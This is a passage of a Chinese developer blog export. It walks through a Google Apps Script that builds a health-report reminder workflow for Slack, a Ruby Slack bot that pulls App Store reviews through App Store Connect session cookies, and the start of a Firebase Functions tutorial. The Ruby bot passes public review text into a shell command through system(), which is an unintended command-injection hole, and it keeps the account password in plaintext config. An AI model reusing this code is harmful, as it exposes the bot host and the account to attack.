editor」可以點擊左上角給專案一個名稱。現在我們可以開始撰寫 App Script!App Script 是基於 Javascript 設計,所以可以直接使用 Javascript 程式碼用法搭配 Google Sheet 的 lib。將 Responses 的資料依照填寫日期分發到各日期的 Sheetfunction formatData() { var bufferSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('Responses') // 儲存回覆的 Sheet 名稱 var rows = bufferSheet.getDataRange().getValues(); var fileds = []; var startDeleteIndex = -1; var deleteLength = 0; for(index in rows) { if (index == 0) { fileds = rows[index]; continue; } var sheetName = rows[index][0].toLocaleDateString(\"en-US\"); // 將 Date 轉換成 String,使用美國日期格式 MM/DD/YYYY var sheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName(sheetName); // 取得 MM/DD/YYYY Sheet if (sheet == null) { // 若無則新增 sheet = SpreadsheetApp.getActiveSpreadsheet().insertSheet(sheetName, bufferSheet.getIndex()); sheet.appendRow(fileds); } sheet.appendRow(rows[index]); // 將資料新增至日期 Sheet if (startDeleteIndex == -1) { startDeleteIndex = +index + 1; } deleteLength += 1; } if (deleteLength > 0) { bufferSheet.deleteRows(startDeleteIndex, deleteLength); // 搬移到指定 Sheet 後,移除 Responses 裡的資料 }}在 Code 區塊中貼上以上程式碼,並按「control」+「s」儲存。再來我們要在 Sheet 中新增觸發按鈕( 只能手動按按鈕觸發,無法在資料寫入時做自動分 ) 首先在建立一個新的 Sheet,取名「未填寫名單」 上方工具列選擇「Insert」->「Drawing」使用此介面,拉出一個按鈕。「Save and Close」後可調整、移動按鈕;點擊右上角「…」選擇「Assign script」輸入「formatData」function 名稱。可點擊加入的按鈕試試功能若出現 「Authorization Required」則點選「Continue」完成驗證在身份驗證的過程中會出現「Google hasn’t verified this app」這是正常的,因為我們寫的 App Script 沒有經過 Google 驗證,不過沒關係這是寫給自己用的。可點選左下角「Advanced」->「Go to Health Report (Responses) (unsafe)」點擊「Allow」 App Script 執行中會顯示「Running Script」這時候請勿再按,避免重複執行。 顯示執行成功後,才能再次執行。成功!將填寫資料依照日期分組。取得當前日期的 Sheet 與員工名單比對,產生未填寫名單 Sheet 的資料我們再加入一段 Code:// 與員工名單 Sheet & 本日填寫 Sheet 比對,產出未填寫名單function generateUnfilledList() { var listSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('員工名單') // 員工名單 Sheet 名稱 var unfilledListSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('未填寫名單') // 未填寫名單 Sheet 名稱 var today = new Date(); var todayName = today.toLocaleDateString(\"en-US\"); var todayListSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName(todayName) // 取得本日 MM/DD/YYYY Sheet if (todayListSheet == null) { SpreadsheetApp.getUi().alert('找不到'+todayName+'本日的 Sheet 或請先執行「整理填寫資料」'); return; } var todayEmails = todayListSheet.getDataRange().getValues().map( x => x[1] ) // 取得本日 Sheet Email Address 欄位資料列表 (1 = Column B) // index start from 0, so 1 = Column B // output: Email Address,zhgchgli@gmail.com,alan@gamil.com,b@gmail.com... todayEmails.shift() // 移除第一個資料,第一個是欄位名稱「Email Address」無意義 // output: zhgchgli@gmail.com,alan@gamil.com,b@gmail.com... unfilledListSheet.clear() // 清除未填寫名單...準備重新填入資料 unfilledListSheet.appendRow([todayName+\" 未填寫名單\"]) // 第一行顯示 Sheet 標題 var rows = listSheet.getDataRange().getValues(); // 讀取員工名單 Sheet for(index in rows) { if (index == 0) { // 第一列是標題欄位列,存下來,讓後續產生資料也可補上第一列標題 unfilledListSheet.appendRow(rows[index]); continue; } if (todayEmails.includes(rows[index][3])) { // 如果本日 Sheet Email Address 中有此員工的 Email 則代表有填寫,continue 略過... (3 = Column D) continue; } unfilledListSheet.appendRow(rows[index]); // 寫入一行資料到未填寫名單 Sheet }}一樣儲存後,照前面加入 Code 的方法,再加入一個按鈕並 Assign script — 「generateUnfilledList」。完成後可點擊測試:未填寫名單產生成功!如果沒有出現內容請先確定: 員工名單已填寫,或可先輸入測試資料 要先完成「整理填寫資料」動作讀取未填寫名單 Sheet 組合出訊息並發送到指定 Slack Channel首先我們要加入 Incoming WebHooks App 到 Slack Channel,我們會透過此媒介來傳送訊息。 Slack 左下角「Apps」->「Add apps」 右邊搜尋匡搜尋「incoming」 點擊「Incoming WebHooks」->「Add」選擇未填寫訊息想要傳到的 Channel。記下最上方的「Webhook URL」往下滑可設定傳送訊息時,傳送 Bot 顯示的名稱及大頭貼;改完記得按「Save Settings」。回到我們的 Google Sheet Script再加入一段 Code:function postSlack() { var ui = SpreadsheetApp.getUi(); var result = ui.alert( '您確定要發送訊息?', '發送未填寫提醒訊息到 Slack Channel', ui.ButtonSet.YES_NO); // 避免誤觸,先詢問確認 if (result == ui.Button.YES) { var unfilledListSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('未填寫名單') // 未填寫名單 Sheet 名稱 var rows = unfilledListSheet.getDataRange().getValues(); var persons = []; for(index in rows) { if (index == 0 || index == 1) { // 略過標題、欄位標題那兩行 continue; } var person = (rows[index][4] == \"\") ? (rows[index][2]) : (\"<@\"+rows[index][4]+\">\"); // 標記對象,如果有 slack uid 優先使用,沒有則單純顯示暱稱;2 = Column B / 4 = Column E if (person == \"\") { // 都沒視為異常資料,忽略 continue; } persons.push(\"• \"+person+'\\n') // 將對象存入陣列 } if (persons.length <= 0) { // 無對象需要被標記通知時,大家都有填,取消訊息送出 return; } var preText = \"*[健康回報表公告:loudspeaker:]*\\n公司關心各位的身體健康,煩請以下隊友記得每日填寫健康狀況回報,謝謝:wink:\\n\\n今日未填健康狀況回報名單\\n\\n\" // 訊息開頭內容... var postText = \"\\n\\n填寫健康狀況回報能讓公司了解隊友們的身體狀況,煩請隊友們每日都要確實填寫唷>< 謝謝大家:woman-bowing::skin-tone-2:\" // 訊息結尾內容... var payload = { \"text\": preText+persons.join('')+postText, \"attachments\": [{ \"fallback\": \"這邊可放 Google Form 填寫連結\", \"actions\": [ { \"name\": \"form_link\", \"text\": \"前往健康狀況回報\", \"type\": \"button\", \"style\": \"primary\", \"url\": \"這邊可放 Google Form 填寫連結\" } ], \"footer\": \":rocket:小提示:點擊輸入匡下方的「:zap:️閃電」->「Shortcut Name」,即可直接填寫。\" } ] }; var res = UrlFetchApp.fetch('這邊輸入你 slack incoming app 的 Webhook URL',{ method : 'post', contentType : 'application/json', payload : JSON.stringify(payload) }) }}一樣儲存後,照前面加入 Code 的方法,再加入一個按鈕並 Assign script — 「postSlack」。完成後可點擊測試:成功!!!(顯示 @U123456 沒成功標記人是因為 ID 是我亂打的)到此主要的功能都已完成! 備註 請注意官方建議使用新的 Slack APP API 的 chat.postMessage 來傳送訊息,Incoming Webhook 簡便的這個方式之後會棄用,這邊偷懶沒有使用,可搭配下一章「匯入員工名單」會需要 Slack App API 一起調整成新方法。匯入員工名單這邊會需要我們創建一個 Slack APP。1.前往 https://api.slack.com/apps2. 點擊右上角「Create New App」3. 選擇「 From scratch 」4. 輸入「 App Name 」跟 你想要加入的 Workspace5. 建立成功後,在左邊選單選擇「OAuth & Permissions」設定頁6. 往下滑到 Scopes 區塊依次「Add an OAuth Scope」以下項目: channels:read users:read users:read.email 如果想改用 APP 發訊息可在此加入 chat.postMessage7. 回到最上面點擊「Install to workspace」or「Reinstall to workspace」 *如果 Scopes 有新增,也要回來這點重新安裝。8. 安裝完成,取得複製 Bot User OAuth Token9. 使用網頁版 Slack 打開想要匯入名單的 Channel從瀏覽器取得網址:https://app.slack.com/client/TXXXX/CXXXX其中 CXXXX 就是這個 Channel 的 Channel ID,記下此訊息。10.回到我們的 Google Sheet Script再加入一段 Code:function loadEmployeeList() { var formData = { 'token': 'Bot User OAuth Token', 'channel': 'Channel ID', 'limit': 500 }; var options = { 'method' : 'post', 'payload' : formData }; var response = UrlFetchApp.fetch('https://slack.com/api/conversations.members', options); var data = JSON.parse(response.getContentText()); for (index in data[\"members\"]) { var uid = data[\"members\"][index]; var formData = { 'token': 'Bot User OAuth Token', 'user': uid }; var options = { 'method' : 'post', 'payload' : formData }; var response = UrlFetchApp.fetch('https://slack.com/api/users.info', options); var user = JSON.parse(response.getContentText()); var email = user[\"user\"][\"profile\"][\"email\"]; var real_name = user[\"user\"][\"profile\"][\"real_name_normalized\"]; var title = user[\"user\"][\"profile\"][\"title\"]; var row = [title, real_name, real_name, email, uid]; // 依照 Column 填入 var listSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('員工名單'); // 員工名單 Sheet 名稱 listSheet.appendRow(row); }}但這次我們不需要再加入按鈕,因為匯入僅第一次需要;所以只需存擋後直接執行即可。首先按「control」+「s」存檔,上方下拉選單改選擇「loadEmployeeList」,點擊「Run」就會開始匯入名單到員工名單 Sheet。手動新增新員工資料爾後如果有新員工加入,可直接在員工名單 Sheet 新增一列,填入資訊,Slack UID 可在 Slack 上直接查詢:點擊要查看 UID 的對象,點擊「View full profile」點擊「More」選擇「Copy member ID」即是 UID。 UXXXXXDONE!以上所有步驟都已完成,可以開始自動化的追縱員工的健康狀況。完成檔如下,可直接從以下 Google Sheet 建立副本修改後使用:補充 如果想要用 Scheduled date & time 定時發送 form 訊息,要注意這情況下的 form 只能被填一次,所以不適合在這邊使用…(至少目前版本還是這樣),所以 Scheduled 填寫提醒訊息依然只能用純文字+Google Form 連結。 目前沒有辦法用超連結連到 Shortcut 打開 Form Google Sheet App Script 防止重複執行:如果要防止不小心在執行中又再次按到導致重複執行,可在 function 一開始加上:if (PropertiesService.getScriptProperties().getProperty('FUNCTIONNAME') == 'true') {SpreadsheetApp.getUi().alert('忙碌中...請稍後再試');return;}Function 執行結束時加上:PropertiesService.getScriptProperties().setProperty('FUNCTIONNAME', 'true');FUNCTIONNAME 取代為目標 Function 名稱。用一個 Global 變數管制執行。與 iOS 開發相關的應用可用來串 CI/CD,用 GUI 包裝原本醜醜的指令操作,例如搭配 Slack Bitrise APP,用 Slack Workflow form 組合啟動 Build 命令:送出之後會發送指令到有 Bitrise APP 的 private channel,EX:bitrise workflow:app_store|branch:develop|ENV[version]:4.32.0就能觸發 Bitrise 執行 CI/CD Flow。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "ZReviewsBot — Slack App Review 通知機器人", "url": "/posts/33f6aabb744f/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, slack, slackbot, app-review, ruby", "date": "2021-05-05 21:51:19 +0800", "snippet": "ZReviewsBot — Slack App Review 通知機器人免費開源的 iOS & Android APP 最新評價追蹤 Slack BotTL;DR [2022/08/10] Update:現已改用全新的 App Store Connect API 重新設計 App Reviews Bot,並更名重新推出「 ZReviewTender — 免費開源的 App Revie...", "content": "ZReviewsBot — Slack App Review 通知機器人免費開源的 iOS & Android APP 最新評價追蹤 Slack BotTL;DR [2022/08/10] Update:現已改用全新的 App Store Connect API 重新設計 App Reviews Bot,並更名重新推出「 ZReviewTender — 免費開源的 App Reviews 監控機器人 」。====ZhgChgLi / ZReviewsBotZReviewsBotZReviewsBot 為免費、開源專案,幫助您的 App 團隊自動追蹤 App Store (iOS) 及 Google Play (Android) 平台上 App 的最新評價,並發送到指定 Slack Channel 方便您即時了解當前 App 狀況。 ✅ 使用更新、更可靠的 API Endpoint 追蹤 iOS App 評價 ( 技術細節 ) ✅ 支援雙平台評價追蹤 iOS & Android ✅ 支援關鍵字通知略過功能 (防洗版廣告騷擾) ✅ 客製化設定,隨心所欲 ✅ 支援使用 Github Action 部署 Schedule 自動機器人[2022/07/20 Update]App Store Connect API 現已支援 讀取和管理 Customer Reviews ,此機器人將於後續更新實作,取代掉使用 Fastlane — Spaceship 去後台拿評價的方式。起源繼上一篇「 AppStore APP’s Reviews Slack Bot 那些事 」研究並完成了新的 iOS 評價撈取工具,想了想好像蠻適合當 Side Project Open Source 出來給有相同問題的朋友使用。Flow===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "AppStore APP’s Reviews Bot 那些事", "url": "/posts/cb0c68c33994/", "categories": "ZRealm, Dev.", "tags": "slackbot, ios-app-development, ruby, fastlane, automator", "date": "2021-04-21 23:16:31 +0800", "snippet": "AppStore APP’s Reviews Slack Bot 那些事使用 Ruby+Fastlane-SpaceShip 動手打造 APP 評價追蹤通知 Slack 機器人Photo by Austin Distel吃米不知米價AppReviewBot 為例最近才知道 Slack 中轉發 APP 最新評價訊息的機器人是要付費的,我一直以為這功能是免費的;費用從 $5 到 $200 美金/...", "content": "AppStore APP’s Reviews Slack Bot 那些事使用 Ruby+Fastlane-SpaceShip 動手打造 APP 評價追蹤通知 Slack 機器人Photo by Austin Distel吃米不知米價AppReviewBot 為例最近才知道 Slack 中轉發 APP 最新評價訊息的機器人是要付費的,我一直以為這功能是免費的;費用從 $5 到 $200 美金/月都有,因為各平台都不會只做「App Review Bot」的功能,其他還有數據統計、紀錄、統一後台、與競品比較…等等,費用也是照各平台能提供的服務為標準;Review Bot 只是他們的一環,但我就只想用這個功能其他不需要,如果是這樣付費蠻浪費的。問題本來是用免費開源的工具 TradeMe/ReviewMe 來做 Slack 通知,但這個工具已年久失修,時不時 Slack 會爆噴一些舊的評價,看得讓人心驚膽顫(很多 Bug 都早已修復,害我們以為又有問題!),原因不明。所以考慮找其他工具、方法取代。TL;DR [2022/08/10] Update:現已改用全新的 App Store Connect API 重新設計 App Reviews Bot,並更名重新推出「 ZReviewTender — 免費開源的 App Reviews 監控機器人 」。====2022/07/20 UpdateApp Store Connect API 現已支援 讀取和管理 Customer Reviews ,App Store Connect API 原生已支援存取 App 評價, 不需要再使用 Fastlane — Spaceship 去後台拿評價。原理探究有了動機之後,再來研究下達成目標的原理。官方 API ❌蘋果有提供 App Store Connect API ,但沒提供撈取評價功能。[2022/07/20 更新]: App Store Connect API 現已支援 讀取和管理 Customer ReviewsPublic URL API (RSS) ⚠️蘋果有提供公開的 APP 評價 RSS 訂閱網址 ,而且除了 rss xml 還提供 json 格式。https://itunes.apple.com/國家碼/rss/customerreviews/id=APP_ID/page=1/sortBy=mostRecent/json 國家碼:可參考 這份文件 。 APP_ID:前往 App 網頁版,會得到網址:https://apps.apple.com/tw/app/APP名稱/id 12345678 ,id 後面的數字及為 App ID(純數字)。 page:可請求 1~10 頁,超過無法取得。 sortBy: mostRecent/json 請求最新的& json 格式,也可改為 mostRecent/xml 則為 xml 格式。評價資料回傳如下:{ \"author\": { \"uri\": { \"label\": \"https://itunes.apple.com/tw/reviews/id123456789\" }, \"name\": { \"label\": \"test\" }, \"label\": \"\" }, \"im:version\": { \"label\": \"4.27.1\" }, \"im:rating\": { \"label\": \"5\" }, \"id\": { \"label\": \"123456789\" }, \"title\": { \"label\": \"很棒的存在!\" }, \"content\": { \"label\": \"人生值得了~\", \"attributes\": { \"type\": \"text\" } }, \"link\": { \"attributes\": { \"rel\": \"related\", \"href\": \"https://itunes.apple.com/tw/review?id=123456789&type=Purple%20Software\" } }, \"im:voteSum\": { \"label\": \"0\" }, \"im:contentType\": { \"attributes\": { \"term\": \"Application\", \"label\": \"應用程式\" } }, \"im:voteCount\": { \"label\": \"0\" }}優點: 公開、不需身份驗證步驟即可存取 簡單好用缺點: 此 RSS API 很老舊都沒更新 回傳評價的資訊太少(沒留言時間、已編輯過評價?、已回覆?) 遇到資料錯亂問題(後面幾頁偶爾會突然噴舊資料) 最多存取 10 頁 關於我們遇到的最大問題是 3;但這部分不確定是我們用的 Bot 工具 問題,還是這個 RSS URL 資料有問題。Private URL API ✅這個方法說來有點旁門左道,也是我突發奇想發現的;但在後續參考了其他 Review Bot 做法之後發現很多網站也都是這樣用,應該沒什麼問題而且我 4~5 年前就看過有工具這樣做了,只是當時沒深入研究。優點: 同蘋果後台資料 資料完整且最新 可做更多細節篩選 具備深度整合的 APP 工具也是用這個方法(AppRadar/AppReviewBot…)缺點: 非官方公布方法(旁門左道) 因蘋果實行全面兩步驟登入,所以登入 session 需要定期更新。第一步 — 嗅探 App Store Connect 後台評論區塊 Load 資料的 API:得到蘋果後台是透過打:https://appstoreconnect.apple.com/WebObjects/iTunesConnect.woa/ra/apps/APP_ID/platforms/ios/reviews?index=0&sort=REVIEW_SORT_ORDER_MOST_RECENT這個 endpoint 取得評價列表:index = 分頁 offset,一次最多顯示 100 筆。評價資料回傳如下:{ \"value\": { \"id\": 123456789, \"rating\": 5, \"title\": \"很棒的存在!\", \"review\": \"人生值得了~\", \"created\": null, \"nickname\": \"test\", \"storeFront\": \"TW\", \"appVersionString\": \"4.27.1\", \"lastModified\": 1618836654000, \"helpfulViews\": 0, \"totalViews\": 0, \"edited\": false, \"developerResponse\": null }, \"isEditable\": true, \"isRequired\": false, \"errorKeys\": null}另外經過測試後發現,只需要在帶上 cookie: myacinfo=&lt;Token&gt; 即可偽造請求得到資料:API 有了、要求的 header 知道了,再來就要想辦法自動化取得後台這個 cookie 資訊。第二步 —萬能 Fastlane因蘋果現在實行全 Two-Step Verification,所以對於登入驗證自動化變得更加煩瑣,幸好與蘋果鬥智鬥勇的 Fastlane ,除了正規的 App Store Connect API、iTMSTransporter、網頁認證(包含兩步驟認證)全都有實作;我們可以直接使用 Fastlane 的指令:fastlane spaceauth -u <App Store Connect 帳號(Email)>此指令會完成網頁登入驗證(包含兩步驟認證),然後將 cookie 存入 FASTLANE_SESSION 檔案之中。會得到類似如下字串:!ruby/object:HTTP::Cookiename: myacinfo value: <token> domain: apple.com for_domain: true path: \"/\" secure: true httponly: true expires: max_age: created_at: 2021-04-21 20:42:36.818821000 +08:00 accessed_at: 2021-04-21 22:02:45.923016000 +08:00!ruby/object:HTTP::Cookiename: <hash> value: <token>domain: idmsa.apple.com for_domain: true path: \"/\"secure: true httponly: true expires: max_age: 2592000created_at: 2021-04-19 23:21:05.851853000 +08:00accessed_at: 2021-04-21 20:42:35.735921000 +08:00將 myacinfo = value 帶入就能取得評價列表。第三步 — SpaceShip本來以為 Fastlane 只能幫我們到這了,再來要自己串起從 Fastlane 拿到 cookie 然後打 api 的 flow;沒想到經過一番探索發現 Fastlane 關於驗證這塊的模組 SpaceShip 還有更多強大的功能!SpaceShipSpaceShip 裡面已經幫我們打包好撈評價列表的方法 Class: Spaceship::TunesClient::get_reviews 了!app = Spaceship::Tunes::login(appstore_account, appstore_password)*storefront = 地區第四步 — 組裝Fastlane、Spaceship 都是由 ruby 撰寫,所以我們也要用 ruby 來製作這個 Bot 小工具。我們可以建立一個 reviewBot.rb 檔案,編譯執行時只需在 Terminal 輸入:ruby reviewBot.rb即可。 ( *更多 ruby 環境問題可參考文末提示)首先 ,因原本的 get_reviews 口的參數不符合我們需求;我想要的是全地區、全版本的評價資料、不需要篩選、支援分頁:# Extension Spaceship->TunesClientmodule Spaceship class TunesClient < Spaceship::Client def get_recent_reviews(app_id, platform, index) r = request(:get, \"ra/apps/#{app_id}/platforms/#{platform}/reviews?index=#{index}&sort=REVIEW_SORT_ORDER_MOST_RECENT\") parse_response(r, 'data')['reviews'] end endend所以我們自己在 TunesClient 中擴充一個方法,裡面參數只帶 app_id、platform = ios ( 全小寫 )、index = 分頁 offset。再來組裝登入驗證、撈評價列表:index = 0breakWhile = truewhile breakWhile app = Spaceship::Tunes::login(APPStoreConnect 帳號(Email), APPStoreConnect 密碼) reviews = app.get_recent_reviews($app_id, $platform, index) if reviews.length() <= 0 breakWhile = false break end reviews.each { |review| index += 1 puts review[\"value\"] }end使用 while 遍歷所有分頁,當跑到無內容時終止。再來要加上紀錄上次最新一筆的時間,只通知沒通知過的最新訊息:lastModified = 0if File.exists?(\".lastModified\") lastModifiedFile = File.open(\".lastModified\") lastModified = lastModifiedFile.read.to_iendnewLastModified = lastModifiedisFirst = truemessages = []index = 0breakWhile = truewhile breakWhile app = Spaceship::Tunes::login(APPStoreConnect 帳號(Email), APPStoreConnect 密碼) reviews = app.get_recent_reviews($app_id, $platform, index) if reviews.length() <= 0 breakWhile = false break end reviews.each { |review| index += 1 if isFirst isFirst = false newLastModified = review[\"value\"][\"lastModified\"] end if review[\"value\"][\"lastModified\"] > lastModified && lastModified != 0 # 第一次使用不發通知 messages.append(review[\"value\"]) else breakWhile = false break end }endmessages.sort! { |a, b| a[\"lastModified\"] <=> b[\"lastModified\"] }messages.each { |message| notify_slack(message)}File.write(\".lastModified\", newLastModified, mode: \"w+\")單純用一個 .lastModified 紀錄上一次執行時拿到的時間。*第一次使用不發通知,否則會一次狂噴最後一步,組合推播訊息 & 發到 Slack:# Slack Botdef notify_slack(review) rating = review[\"rating\"].to_i color = rating >= 4 ? \"good\" : (rating >= 2 ? \"warning\" : \"danger\") like = review[\"helpfulViews\"].to_i > 0 ? \" - #{review[\"helpfulViews\"]} :thumbsup:\" : \"\" date = review[\"edited\"] == false ? \"Created at: #{Time.at(review[\"lastModified\"].to_i / 1000).to_datetime}\" : \"Updated at: #{Time.at(review[\"lastModified\"].to_i / 1000).to_datetime}\" isResponse = \"\" if review[\"developerResponse\"] != nil && review[\"developerResponse\"]['lastModified'] < review[\"lastModified\"] isResponse = \" (回覆已過時)\" end edited = review[\"edited\"] == false ? \"\" : \":memo: 使用者更新評論#{isResponse}:\" stars = \"★\" * rating + \"☆\" * (5 - rating) attachments = { :pretext => edited, :color => color, :fallback => \"#{review[\"title\"]} - #{stars}#{like}\", :title => \"#{review[\"title\"]} - #{stars}#{like}\", :text => review[\"review\"], :author_name => review[\"nickname\"], :footer => \"iOS - v#{review[\"appVersionString\"]} - #{review[\"storeFront\"]} - #{date} - <https://appstoreconnect.apple.com/apps/APP_ID/appstore/activity/ios/ratingsResponses|Go To App Store>\" } payload = { :attachments => [attachments], :icon_emoji => \":storm_trooper:\", :username => \"ZhgChgLi iOS Review Bot\" }.to_json cmd = \"curl -X POST --data-urlencode 'payload=#{payload}' SLACK_WEB_HOOK_URL\" system(cmd, :err => File::NULL) puts \"#{review[\"id\"]} send Notify Success!\" endSLACK_WEB_HOOK_URL = Incoming WebHook URL最終結果require \"Spaceship\"require 'json'require 'date'# Config$slack_web_hook = \"目標通知的 web hook url\"$slack_debug_web_hook = \"機器人有錯誤時的通知 web hook url\"$appstore_account = \"APPStoreConnect 帳號(Email)\"$appstore_password = \"APPStoreConnect 密碼\"$app_id = \"APP_ID\"$platform = \"ios\"# Extension Spaceship->TunesClientmodule Spaceship class TunesClient < Spaceship::Client def get_recent_reviews(app_id, platform, index) r = request(:get, \"ra/apps/#{app_id}/platforms/#{platform}/reviews?index=#{index}&sort=REVIEW_SORT_ORDER_MOST_RECENT\") parse_response(r, 'data')['reviews'] end endend# Slack Botdef notify_slack(review) rating = review[\"rating\"].to_i color = rating >= 4 ? \"good\" : (rating >= 2 ? \"warning\" : \"danger\") like = review[\"helpfulViews\"].to_i > 0 ? \" - #{review[\"helpfulViews\"]} :thumbsup:\" : \"\" date = review[\"edited\"] == false ? \"Created at: #{Time.at(review[\"lastModified\"].to_i / 1000).to_datetime}\" : \"Updated at: #{Time.at(review[\"lastModified\"].to_i / 1000).to_datetime}\" isResponse = \"\" if review[\"developerResponse\"] != nil && review[\"developerResponse\"]['lastModified'] < review[\"lastModified\"] isResponse = \" (客服回覆已過時)\" end edited = review[\"edited\"] == false ? \"\" : \":memo: 使用者更新評論#{isResponse}:\" stars = \"★\" * rating + \"☆\" * (5 - rating) attachments = { :pretext => edited, :color => color, :fallback => \"#{review[\"title\"]} - #{stars}#{like}\", :title => \"#{review[\"title\"]} - #{stars}#{like}\", :text => review[\"review\"], :author_name => review[\"nickname\"], :footer => \"iOS - v#{review[\"appVersionString\"]} - #{review[\"storeFront\"]} - #{date} - <https://appstoreconnect.apple.com/apps/APP_ID/appstore/activity/ios/ratingsResponses|Go To App Store>\" } payload = { :attachments => [attachments], :icon_emoji => \":storm_trooper:\", :username => \"ZhgChgLi iOS Review Bot\" }.to_json cmd = \"curl -X POST --data-urlencode 'payload=#{payload}' #{$slack_web_hook}\" system(cmd, :err => File::NULL) puts \"#{review[\"id\"]} send Notify Success!\" endbegin lastModified = 0 if File.exists?(\".lastModified\") lastModifiedFile = File.open(\".lastModified\") lastModified = lastModifiedFile.read.to_i end newLastModified = lastModified isFirst = true messages = [] index = 0 breakWhile = true while breakWhile app = Spaceship::Tunes::login($appstore_account, $appstore_password) reviews = app.get_recent_reviews($app_id, $platform, index) if reviews.length() <= 0 breakWhile = false break end reviews.each { |review| index += 1 if isFirst isFirst = false newLastModified = review[\"value\"][\"lastModified\"] end if review[\"value\"][\"lastModified\"] > lastModified && lastModified != 0 # 第一次使用不發通知 messages.append(review[\"value\"]) else breakWhile = false break end } end messages.sort! { |a, b| a[\"lastModified\"] <=> b[\"lastModified\"] } messages.each { |message| notify_slack(message) } File.write(\".lastModified\", newLastModified, mode: \"w+\")rescue => error attachments = { :color => \"danger\", :title => \"AppStoreReviewBot Error occurs!\", :text => error, :footer => \"*因蘋果技術限制,精準評價爬取功能約每一個月需要重新登入設定,敬請見諒。\" } payload = { :attachments => [attachments], :icon_emoji => \":storm_trooper:\", :username => \"ZhgChgLi iOS Review Bot\" }.to_json cmd = \"curl -X POST --data-urlencode 'payload=#{payload}' #{$slack_debug_web_hook}\" system(cmd, :err => File::NULL) puts errorend另外還加上了 begin…rescue (try…catch) 保護,如果有出現錯誤則發 Slack 通知我們回來檢查(多半是 session 過期)。 最後只要將此腳本加到 crontab / schedule 等排程工具定時執行即可!效果圖:免費的其他選擇 AppFollow :使用 Public URL API (RSS),只能說堪用吧。 feedis.io :使用 Private URL API,需要把帳號密碼給他們。 TradeMe/ReviewMe :自架服務(node.js),我們原先用這個,但遇到前述問題。 JonSnow :自架服務(GO),支援一鍵部署到 heroku,作者: @saiday溫馨提示1.⚠️Private URL API 方法,如果用有二階段驗證的帳號,最長每 30 天都需要重新驗證才能使用且目前無解;如果有辦法生出沒二階段的帳號就可以無痛爽爽用。#important-note-about-session-duration2.⚠️不論是免費、付費、本文的自架;切勿使用開發者帳號,務必開一個獨立的 App Store Connect 帳號使用,權限只開放「Customer Support」;防止資安問題。3.Ruby 建議使用 rbenv 進行管理,因系統自帶 2.6 版容易造成衝突。4.在 macOS Catalina 如遇到 GEM、Ruby 環境錯誤問題,可參考 此回覆 解決。Problem Solved!經過以上心路歷程,更瞭解的 Slack Bot 的運作方式;還有 iOS App Store 是如何爬取評價內容的,另外也摸了下 ruby!寫起來真不錯!有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "使用 Firebase Firestore + Functions 快速搭建可供測試的 API 服務", "url": "/posts/9659db1357e4/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, firebase, google-cloud-platform, notifications, ios", "date": "2021-03-24 01:09:34 +0800", "snippet": "使用 Firebase Firestore + Functions 快速搭建可供測試的 API 服務當推播統計遇上 Firebase Firestore + FunctionsPhoto by Carlos Muza前言推播精確統計功能最近想為 APP 導入的功能,未實作前我們只能從後端 Post 資料給 APNS/FCM 的成功與否當作推播基數並記錄推播點擊,計算出「點擊率」;但此方法其實...", "content": "使用 Firebase Firestore + Functions 快速搭建可供測試的 API 服務當推播統計遇上 Firebase Firestore + FunctionsPhoto by Carlos Muza前言推播精確統計功能最近想為 APP 導入的功能,未實作前我們只能從後端 Post 資料給 APNS/FCM 的成功與否當作推播基數並記錄推播點擊,計算出「點擊率」;但此方法其實非常不準確,基數包含許多無效裝置,APP 已刪除的(不一定會馬上失效)、關閉推播權限的在後端 Post 時都還是會得到成功的回傳。在 iOS 10 之後可以透過實踐 Notification Service Extension 在推播橫幅出現時的時機點偷偷 Call API 回傳做統計;好處是非常精準,只有在使用者推播橫幅有出現才會 Call;如果 APP 刪除、關閉通知、通知沒開橫幅,都不會有動作,橫幅等於有出現推播訊息,用此當推播基數然後再算上點擊數就能得到「精確的點擊率」。 詳細原理及實作方式可參考之前的文章:「 i OS ≥ 10 Notification Service Extension 應用 (Swift) 」 目前測試下來 APP 的 Loss 率應該是 0%,實際常見應用像是 Line 的訊息點對點加解密(推播的訊息是加密過的,在手機收到才解密然後顯示出來)。問題APP 端的功其實不大,iOS/Android 都只要實作類似的功能(但 Android 如果要考慮中國市場就比較麻煩,要為更平台實作推播框架內容);比較大的功是後端還有 Server 的壓力處理,因為推播一次出去會同時 Call API 回傳紀錄,可能會塞爆 Server 的 max connection 如果又是使用 RDBMS 儲存記錄可能會更嚴重,如果發現統計數有 Loss 多半發生在此環節。 這邊可以以 log 寫檔案方式做紀錄,要查詢時在自行做統計顯示。 另外,後來想想一次出去同時回來的情境,數量可能沒有想像中的大;因為發推播也不會一口氣發個十萬百萬筆,也是幾筆幾筆批次發送;只要能扛住批次發出去同時回來的數量即可!Prototype因原先有問題中的考量,後端需要花功力研究修改且市場也不一定在意做出來的成效;所以想說先用能使用的資源弄個 Prototype 出來試試水溫。這邊選擇的是 APP 幾乎都會使用的 Firebase 服務,其中的 Functions 和 Firestore 功能。Firebase FunctionsFunctions 是 Google 提供的 serverless 服務,只需撰寫好程式邏輯,Google 自動幫你弄好伺服器、執行環境,也不用去管伺服器擴充及流量的問題。Firebase Functions 其實就是 Google Cloud Functions 但只能使用 JavaScript (node.js) 撰寫,沒試過但如果用 Google Cloud Functions 選擇用其他語言撰寫然後同樣 import Firebase 服務我想應該也能用。用在 API 就是我可以寫一個 node.js 檔案,得到一個實體 URL (ex: my-project.cloudfunctions.net/getUser),自行撰寫取得 Request 資訊和給予相應的 Response 邏輯。 之前寫過一篇關於 Google Functions 的文章「 使用 Python+Google Cloud Platform+Line Bot 自動執行例行瑣事 」 Firebase Functions 必須啟用 Blaze 專案(用多少、付多少)才能使用。Firebase FirestoreFirebase Firestore ,NoSql 資料庫,用來存放、管理數據。結合 Firebase Functions 可在 Request 時 import Firestore 進來操作資料庫,然後Response 給使用者,就能搭建簡單的 Restful API 服務! 動手實作開始!安裝 node.js 環境這邊建議使用 NVM,node.js 版本管理工具進行安裝管理(像 